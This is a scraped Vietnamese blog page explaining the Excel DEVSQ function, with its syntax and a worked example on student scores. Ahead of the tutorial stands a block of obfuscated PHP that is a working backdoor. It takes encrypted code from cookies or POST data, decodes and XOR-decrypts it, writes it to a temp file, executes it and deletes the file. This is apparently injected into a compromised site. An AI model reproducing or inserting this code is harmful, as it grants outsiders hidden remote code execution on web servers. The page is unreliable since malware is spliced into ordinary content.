$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm DEVSQ trong Excel và cách sử dụng - Tải Chùa

Hàm DEVSQ trong Excel và cách sử dụng

by admin • 8 Tháng chín, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post
Hàm DEVSQ trong excel là hàm trả về tổng bình phương độ lệch giữa các điểm dữ liệu so với số trung bình cộng của chúng. Vậy cú pháp cũng như cách sử dụng của hàm này có đơn giản không?

Hàm DEVSQ trong excel là hàm trả về tổng bình phương độ lệch giữa các điểm dữ liệu so với số trung bình cộng của chúng. Vậy cú pháp cũng như cách sử dụng của hàm này có đơn giản không?

hàm DEVSQ trong excel

Câu hỏi được đặt ra, bạn đã biết cú pháp cũng như cách sử dụng của hàm DEVSQ trong Excel hay chưa? Nếu chưa thì hãy theo dõi bài viết dưới đây của chúng tôi để hiểu rõ ý nghĩa và cách sử dụng hàm DEVSQ này nhé.

Cú Pháp thực hiện: = DEVSQ(Number1, Number2,…)

Với:

  • Number1 là tham số bắt buộc, cần phải có.
  • Number2 là tùy chọn.

Lưu ý:

  • Hàm DEVSQ có thể có từ 1 đến 255 đối số là số, tên, mảng hoặc tham chiếu tới ô chứa số.
  • Hàm DEVSQ sẽ bỏ qua tất cả các đối số là mảng hay tham chiếu chứa các giá trị text, logic, ô trống trừ giá trị zero ( giá trị bằng 0).

Hướng dẫn cách sử dụng hàm DEVSQ trong Excel

Cho bảng điểm của một số học sinh, yêu cầu đặt ra cho bạn là hãy tính tổng bình phương độ lệch về điểm số của các học sinh với điểm trung bình cộng của các thành viên trong nhóm này.

cách sử dụng hàm DEVSQ trong excel - bước 1

Để tính toán ta sử dụng công thức của hàm DEVSQ cho ô C11: =DEVSQ(D5:D9). Hoặc bạn cũng có thể viết theo cách khác nếu số lượng điểm của sinh viên là ít: C11: =DEVSQ(D5,D6,D7,D8,D9)

Bạn sẽ thu được kết quả như sau:

cách sử dụng hàm DEVSQ trong excel - bước 2

Qua ví dụ này, bạn đã hiểu thêm về cú pháp cũng như cách sử dụng hàm DEVSQ để tính tổng bình phương độ lệch, sai số so với số trung bình cộng của cả dãy số. Vì thế hãy vận dụng hàm này đúng lúc bạn nhé.

Bài viết cùng chủ đề:

Chuyên mục bài viết